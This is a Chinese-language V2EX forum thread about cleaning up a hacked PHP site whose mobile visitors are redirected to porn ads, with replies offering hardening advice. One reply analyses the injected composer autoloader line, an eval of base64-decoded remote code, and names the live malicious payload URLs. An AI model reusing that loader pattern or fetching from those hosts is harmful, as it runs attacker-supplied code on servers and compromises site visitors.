V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
black9
V2EX  ›  PHP

网站遭劫持了,被注入恶意代码,请教各位大佬如何清除并再次预防?

  •  1
     
  •   black9 · 2024-07-29 16:34:19 +08:00 · 5963 次点击
    这是一个创建于 402 天前的主题,其中的信息可能已经有所发展或是发生改变。

    前两天用户反馈移动端网页访问不正常,一查看发现,特定的路由会触发跳转到黄色广告地址。 如: 网址:https://www.网址.com/edu 在 pc 端正常访问,但在移动端就会被跳转到其他网站上。 如修改路由为/edu123也会跳转,修改为/ed则不会。初步判断关键字为edu

    进行排查:

    1. dns污染
      网站都是使用了https,排除
    2. nginx
      通过查看日志以及转发记录,发现/edu 被转发到了 php-cgi ,排除
      Imgur
    3. php
      在排查时在看见 v2 中有人遇到类似的问题,于是照着大佬的思路排查,结果发现每个站都被添加了一个 pass.php 文件。 pass.php 根据代码内容搜索,是用Godzilla生成的木马脚本。对网络安全这个块不太懂,有没有大佬知道怎么切底清除这个脚本带来的影响?

    初步处理尝试:

    清除每个站点下的 pass.php 文件,以及相同时间被创建的一些文件。检查 php.ini 文件以及 so 文件是否被修改。没有发现可疑配置后,重启 php 服务再次访问。 结果还是一样会跳转到其他网站。。。

    继续排查:

    查看 php 慢日志时,发现请求网页时有执行file_get_contents函数,于是循着文件路径查看,找到了罪魁祸首,项目composer下的autoload_real.php被植入了一行代码,删除掉后网址恢复正常。 慢日志 植入代码

    疑问请求:

    请问这是利用了 composer 的漏洞吗? composer 的版本是 2.3.7? 然后被植入 pass.php 的文件是不是宝塔的漏洞导致被上传的?因为我看到这些文件都是 www 宝塔用户上传的。

    49 条回复    2025-03-15 05:17:07 +08:00
    pikko
        1
    pikko  
       2024-07-29 16:48:48 +08:00
    改密码,或者关闭外网访问后台
    不访问的时候关闭 22 端口
    cctv180
        2
    cctv180  
       2024-07-29 16:57:09 +08:00
    我比较菜,装了宝塔自动备份,翻车了直接恢复备份🤣,找人从织梦转到 PbootCMS 然后让搞了几次。后面把管理密码和入口换了就行。
    BeforeTooLate
        3
    BeforeTooLate  
       2024-07-29 16:59:15 +08:00
    1.先排查 ssh 是否设置了禁止 root 登录,和只用密钥登录
    2.下载到本地用第三方杀毒软件排查下是否包含一句话木马
    relsoul
        4
    relsoul  
       2024-07-29 17:00:04 +08:00
    明显是有漏洞,不解决 0day 很难,如果是用开源的程序 那就更新 version ,如果用的随便买来的源码 那就自求多福做代码审计。建议做 docker 隔离,不至于一个站点 g 了 其他关联网站全 g 了
    GG5332
        5
    GG5332  
       2024-07-29 17:04:30 +08:00
    看看是不是这个问题,CVE-2024-4577
    GoldenMan
        6
    GoldenMan  
       2024-07-29 17:04:33 +08:00
    上 WAF
    googlefans
        7
    googlefans  
       2024-07-29 17:05:00 +08:00
    用虚拟主机
    mark2025
        8
    mark2025  
       2024-07-29 17:25:36 +08:00
    看看这个
    t/1056428
    t/1060326
    weirdo
        9
    weirdo  
       2024-07-29 17:40:15 +08:00
    直观的看网页跳转的问题是在 composer_real.php 里。
    正常的文件里是没有 第一行 ini_set 和 eval()这两个操作的。
    ini_set 是把报错关了,然后 eval('?>'.file_get_contents(base64_decode('xxxx'))) 这个是在从远程获取 php 代码,根据你图里的 base64 解了下 地址是这个 http://8.jsc20244.com:81/jsc/529kaiwen.txt ,这个 txt 里放着 php 代码,这段代码最后的操作能看到用 curl 访问了另一个地址( http://529.jsc20244.com:81/502.php),这个地址放在浏览器里显示 404 ,在 chrome 里用 f12 伪装成移动端浏览器,就会显示页面,“请使用 手机 设备打开”,可能就是你说的移动端跳转的地址。
    至于这个 composer_real.php 文件怎么被搞的,就不知道了,列两个可能性:
    1. 用户上传的 php 程序中,composer 被植入了 eval()那坨代码。
    2. 你服务器被搞了,然后别人在 composer 里植入了恶意代码,比如通过你说的 pass.php 这样的一句话后门
    coderzhangsan
        10
    coderzhangsan  
       2024-07-29 18:15:31 +08:00
    我在 v2 看到很多这样的案例,无一例外都是用宝塔部署的,生产环境建议还是自己部署吧,慎用一些开源的一键部署软件。
    helionzzz
        11
    helionzzz  
       2024-07-29 18:19:19 +08:00
    宝塔建议把 BasicAuth 认证开了
    proxytoworld
        12
    proxytoworld  
       2024-07-29 18:30:39 +08:00
    哥斯拉后门
    black9
        13
    black9  
    OP
       2024-07-29 20:27:02 +08:00
    @pikko 后台的使用频率还是挺高的,不太适合关闭
    black9
        14
    black9  
    OP
       2024-07-29 20:27:44 +08:00
    @cctv180 🤣被人留了后门吗
    black9
        15
    black9  
    OP
       2024-07-29 20:28:09 +08:00
    @BeforeTooLate 感谢 我试试
    black9
        16
    black9  
    OP
       2024-07-29 20:29:09 +08:00
    @relsoul 基本用的都是开源 后面考虑用 docker
    jenson47
        17
    jenson47  
       2024-07-29 20:30:24 +08:00
    后台不对外的话,就用隧道或者登录加上 otp
    宝塔严禁对外开放端口,使用隧道访问即可
    black9
        18
    black9  
    OP
       2024-07-29 20:31:25 +08:00
    @GG5332 这个好像是 win 上的漏洞,我服务器用的 centos
    black9
        19
    black9  
    OP
       2024-07-29 20:34:08 +08:00
    @weirdo 对 就是比较奇怪怎么被注入的到 composer_real 这个文件里的
    black9
        20
    black9  
    OP
       2024-07-29 20:34:43 +08:00
    @coderzhangsan 是啊 但是站点太多了 宝塔部署起来还是方便一点🤣
    black9
        21
    black9  
    OP
       2024-07-29 20:50:08 +08:00
    @helionzzz 感谢提醒
    black9
        22
    black9  
    OP
       2024-07-29 20:50:27 +08:00
    @jenson47 好的 感谢
    jiangaimin
        23
    jiangaimin  
       2024-07-29 23:15:28 +08:00
    如果你用的是宝塔,一般不会是服务器的漏洞。我感觉是你的网站程序有漏洞。被人 getshell 了。我根据你截图的 composer 截图,猜测你网站用的是 thinkphp 框架。
    这种情况 第一:要先清马;第二:检查自己网站漏洞,然后修复。第三:如果你服务器上有别的站点,也有可能是从旁站跨站过来的。
    如果单纯的清马,不找到漏洞原因,还会被人搞的。可以根据马的创建时间,或修改时间,查找那个时间段的日志,然后看看访问了哪些你网站的 url ,来检查对方是怎么搞到 shell 的。
    black9
        24
    black9  
    OP
       2024-07-29 23:35:40 +08:00
    @jiangaimin 受教了 🙏 用的就是 thinkphp 已经清马了 我尝试一下查找漏洞
    iminto
        25
    iminto  
       2024-07-30 00:08:01 +08:00 via Android
    PHP 养活了国内一大堆黑客。。。

    这一眼就是 php 框架漏洞。

    宝塔虽然烂,但也不至于这么脆,找 Linux 的问题更是找错了方向。
    dorothyREN
        26
    dorothyREN  
       2024-07-30 00:22:11 +08:00 via iPhone
    你们可能需要的是一个运维
    cctv180
        27
    cctv180  
       2024-07-30 01:14:06 +08:00
    @black9 #14 具体我也不清楚,跳转去博彩了,可能是帮忙搬站的人干的,因为我恢复几次都再次被黑。后来我换掉连宝塔后台入口一起换掉就正常了。所以不是 PbootCMS 本身的原因。宝塔后台只给商家帮忙搬站。
    dzdh
        28
    dzdh  
       2024-07-30 03:42:45 +08:00   ❤️ 1
    fpm 以非 root 用户运行屏蔽 chmod 、chown 权限。web 目录除必要的目录外其他目录不允许写入。上传目录禁止运行 php 脚本。
    dj721xHiAvbL11n0
        29
    dj721xHiAvbL11n0  
       2024-07-30 08:51:44 +08:00
    要不你试试 1panel?
    yulgang
        30
    yulgang  
       2024-07-30 09:02:47 +08:00
    一键全站挂马
    网站可能存在上传漏洞。非必要目录只读,文件读写目录去掉执行权限
    hewiefsociety
        31
    hewiefsociety  
       2024-07-30 09:05:24 +08:00
    花钱请人..比如我 😄
    ken678
        32
    ken678  
       2024-07-30 09:12:10 +08:00
    大概率是框架问题,和 composer 无关
    xdzhang
        33
    xdzhang  
       2024-07-30 09:45:54 +08:00
    阿里云有个 waf2.0 ,比较便宜,至少过滤规则啥的比较省心。
    abccccabc
        34
    abccccabc  
       2024-07-30 10:02:03 +08:00
    楼主,找到 thinkphp 的漏洞了没?我的站用 thinkphp5.0.24 也被改过文件,把我惹急了,直接把上传的地方取消了。消停了好久,最近,我的 aaPanel 挂了,起不来了。不晓得是不是黑客搞的鬼。还安装了一个 dzx3.4 ,不晓得是不是这个的问题。
    JensenQian
        35
    JensenQian  
       2024-07-30 10:30:56 +08:00 via Android
    宝塔啊
    那正常
    9A0DIP9kgH1O4wjR
        36
    9A0DIP9kgH1O4wjR  
       2024-07-30 10:39:58 +08:00
    定期升级框架,关注框架的安全修复日志,及时更新
    stew5566
        37
    stew5566  
       2024-07-30 10:41:40 +08:00
    @pikko #1 小白求解,如果把 ssh 端口从 22 换成其他端口有用吗
    ladypxy
        38
    ladypxy  
       2024-07-30 10:56:58 +08:00
    首先开源代码,要及时更新。

    php 网站,首先要把所有 php 文件权限设置成只读+运行。然后临时目录可以写但是不允许执行。
    同时可以 nginx 里设置 php 白名单,即只有白名单的文件可以运行解析,其余的一概返回 444 。
    lyxxxh2
        39
    lyxxxh2  
       2024-07-30 11:01:53 +08:00
    作为一个 6phper,宝塔很正常啊。

    自己部署? 在搞笑吗
    先不说时间成本,就说安全。
    宝塔默认生产环境,eval system 函数都给你禁了,.user.ini 也帮你设置好了。
    人家就是专门做这个的,这么大用户量,他不知道安全是什么?
    对于小白,自己部署会配置吗

    我用了几年宝塔,也没见过被入侵。
    composer 漏洞,要是有这个,早就暴雷了,就像之前 tp 上传漏洞暴雷。
    autoload_real.php 每次请求都会加载,又隐蔽,确实是放马的好位置。

    至于漏洞,估代码的问题,很大可能是上传问题。
    1. 源头验证:校验后缀。 (校验 mine-type 没用,随便绕 后缀现在似乎不行了)
    2. 不给执行: 上传保存路径是 public,别人访问就可以直接执行,或者直接换成云存储。
    当然不排除服务器被攻克的可能。
    BeforeTooLate
        40
    BeforeTooLate  
       2024-07-30 11:09:30 +08:00
    @lyxxxh2 作为 6phper 我倒觉得还用宝塔是不正常的
    jeepc
        41
    jeepc  
       2024-07-30 11:15:15 +08:00
    @stew5566 #37 当然没用
    lyxxxh2
        42
    lyxxxh2  
       2024-07-30 11:29:33 +08:00
    @BeforeTooLate
    ?不理解。
    自己创造工具的话,
    部署网站丶备份数据库丶日志丶 ssl 自动续期。
    如果不用宝塔,我得额外消耗 3-5 天。

    用了宝塔带来的缺陷,无非一点 cpu 和内存。
    怎么看都是利大于弊。
    BeforeTooLate
        43
    BeforeTooLate  
       2024-07-30 11:30:11 +08:00
    @lyxxxh2 那你多用用。
    atfeel
        44
    atfeel  
       2024-07-30 12:48:17 +08:00 via Android
    一个月之前我也碰到了跟你相同的情况,我现在大概能猜出中招的原因,并不是网站被注入了恶意代码,而是我在服务器上安装一个 youtube 上提供的脚本做测试的时候,那脚本被别人留了后门,劫持篡改了网络,最终实现注入恶意代码在 web 请求上,网警都打给我了,被挂了赌博网站的链接,但是我又没办法查到他是怎么劫持的,也没办法解决,最后还是重装服务器,就一点问题都没有了,所以服务器的轻量化是很重要的,用宝塔的一键迁移,基本上解决了
    lixuda
        45
    lixuda  
       2024-07-30 14:07:41 +08:00
    用过多个 php ,知名的非知名的程序,没有不被黑的。最大问题就是上传执行 php 文件。换了其他语言,清净了
    dyllen
        46
    dyllen  
       2024-07-30 19:13:38 +08:00
    除了一些缓存目录把写入权限全关了,核心目录权限改了不要给 www 的运行用户和组。
    dimwoodxi27
        47
    dimwoodxi27  
       2024-08-01 11:14:49 +08:00
    盲猜网上买的 xx 源码,用了一段时间正常然后被传马,而很多人却在说是宝塔的问题或 TP 的问题,就论 TP 的一些漏洞也没有这么轻易能传马吧?用的 xx 源码里面的上传接口没做处理和过滤怪罪到框架真是抽象,我自己用 tp5.1 写的网站对外使用都 4 年多了,平均 IP1W 左右,从没发现被传马什么的,对外也没什么上传文件的接口!提交的内容也会做一些 xss 处理,本身框架的 orm 也会对 SQL 注入的简单过滤
    sead
        48
    sead  
       2024-08-01 15:15:52 +08:00
    黑客最喜欢 php ,asp 没有之三
    daydreammm
        49
    daydreammm  
       174 天前
    @hewiefsociety 解决了吗?老哥,能不能推荐下!!
    关于   ·   帮助文档   ·   自助推广系统   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3008 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 29ms · UTC 00:21 · PVG 08:21 · LAX 17:21 · JFK 20:21
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.